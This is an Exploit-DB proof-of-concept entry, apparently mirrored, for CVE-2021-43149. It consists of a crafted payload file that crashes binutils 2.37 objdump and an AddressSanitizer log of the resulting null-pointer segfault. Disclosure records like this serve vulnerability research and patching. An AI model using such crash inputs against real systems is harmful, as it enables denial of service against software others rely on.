binutils 2.37 – Objdump Segmentation Fault

  • 作者: Marlon Petry
    日期: 2022-04-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50858/
  • # Exploit Title: binutils 2.37 - Objdump Segmentation Fault
    # Date: 2021-11-03
    # Exploit Author: p3tryx
    # Vendor Homepage: https://www.gnu.org/software/binutils/
    # Version: binutils 2.37
    # Tested on: Ubuntu 18.04
    # CVE : CVE-2021-43149
    
    Payload file
    
    ```
    
    %223"\972\00\0083=Q333A111111114111113333<33A $$$\FF)$\80 1114
    \00\80\99\00111111111111111-11111111111111111111111111111111111'111111111111111111
    111111*111111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111
     $%22622FF7FFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    1))\FF)$1 1111
     $%22111111111111111111111111111111111.1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111622FF
    \00\00\00FFFFFFFFFFFFFFFFFFFFF222CFFFFFF\81 \8D1111
     $%22622FF7FFFFFFFFF111111111111111111111111111111111111111111111111111111q1111111111111111111111111111111111111
    1))\FF)$1 1111
     $%22622FFFFFDFFFFFFFFFFFFFFFFFFFFF222CFFFFFF\81 \8D1111
     $%22622FF7FFFFFFFFF11111111111111111,1FF\83 \81 \8D1111
     $%22622FF7FFFFFFFFFFFFFFF\FF
    
     \00\80\99\00 1))\FF)$\80 1114
    \00\80\99\0011111111111111)111111111111111111111111111111111111111111111111111111
    1))\FF)$1 1111
     $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF\81 { \8D1111
     $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    1))\FF)$1 1111
     $%2262211111111111111111111111111111111111111111111\00\00
    \00111111111111111111111111111111111111111111111FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF
     \81 \8D 111
     $%22622FFF1111111111111111111FF\83))\FF)$1 1111
     $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF2E2CF9FFFF \98\81 \8D1111
     $%22622FF7FFFFFFFFF1111111111111111111111111111111111111111111111111111111111111111111111111111
    1))\FF)$1 1111
     $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF222CFFFFFF\81 \8D1111
     $%22622FF7FFFFFFFFF1111111111111111111FF\83 \81 \8D1111
     $%22622FF7FFFFFFFFFFFFFFF\FF
    
     \00\80\991))\FF)$\80 1114
    \00\80\99\00111111111111111111111111111111111111111111111111111'111111111111111111
    1111111111111111111111111111111>11111111111d\00\00\00111111111111111111
    111111111111111111111111111111111111111111111111111*111111111111111111111111.1111111111111111111111111111111;111011111111111111111111111111111111111111111111111111\EA111111111111111
     $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111.1111111111111111111111$1
    1111
     $%22622FFFFFFF1111111111111111111111111111\BF\BF\BF\BF\BF\BF1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!11111111111111'111111111111111111
    111111111111@111111111111111111d\001111
    \0011111111111111111111111111111111111111111111111*1111111111111111111111111111111111111111111111111111111111110111111111151111111111111111111111111111111111111111111111111111)111111111111111111111111111F111111111111111111111111
    1111111FFFFFFFFFFLFFFFFFF11111111 111111111111111111111111111111111
     $%22622FF7FFF111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111P1111111111111111111111111111111111111111111111111111111111111111111111111111111111.11111111111111111111111111111111111111N1111111111111111111111111111111111111111111111111
    1111111111111111111111111111\FF\FF1111111117111111111111111111111111111111111))\FF)$11111111111111111111111111111111111111111111111111111111111111111111111111*111111111111111111111111111111111111111111111111111111111111@1111111111111111111111111111111111111111111111111111\00\00
    \0011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111M111111R111111111111
    111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    1))\FF)$1 1I11
     $%22622FFFFFF1FFFFFFFFFFFFFFFFFFFF222CFFFFFF\81 \8D1111
     $%22622FF7FFFFFFFFF111111111111
    111111111111111111111111111111111111111111111 1))\FF)$1 1111
     $%22622FFFFFFFFFFFFFFFFFFFFFFFFFFF$%22622FFFFFFFFFFFFFMFFFFFFFFFFFFF222CFFFFFF
     \81 \8D1111
     $%22622FF7FFFFFFFFF11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111FFFFFF
     \FF
    
     \00\80\99\00 1))\FF)$\80 1111 \00\80\99\00a1))\FF)$1 1J11
     $%22@22FF11111FFFFFFFFFFFFFF222$)$
    
    ```
    
    RUN the POC
    
    # binutils-2.37/binutils/objdump -T -D -x crash_2.37
    ASAN:SIGSEGV
    =================================================================
    ==27705==ERROR: AddressSanitizer: SEGV on unknown address
    0x000000000000 (pc 0x000000000000 bp 0x7fffffffdee0 sp 0x7fffffffde38
    T0)
    ==27705==Hint: pc points to the zero page.
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV ??:0 ??
    ==27705==ABORTING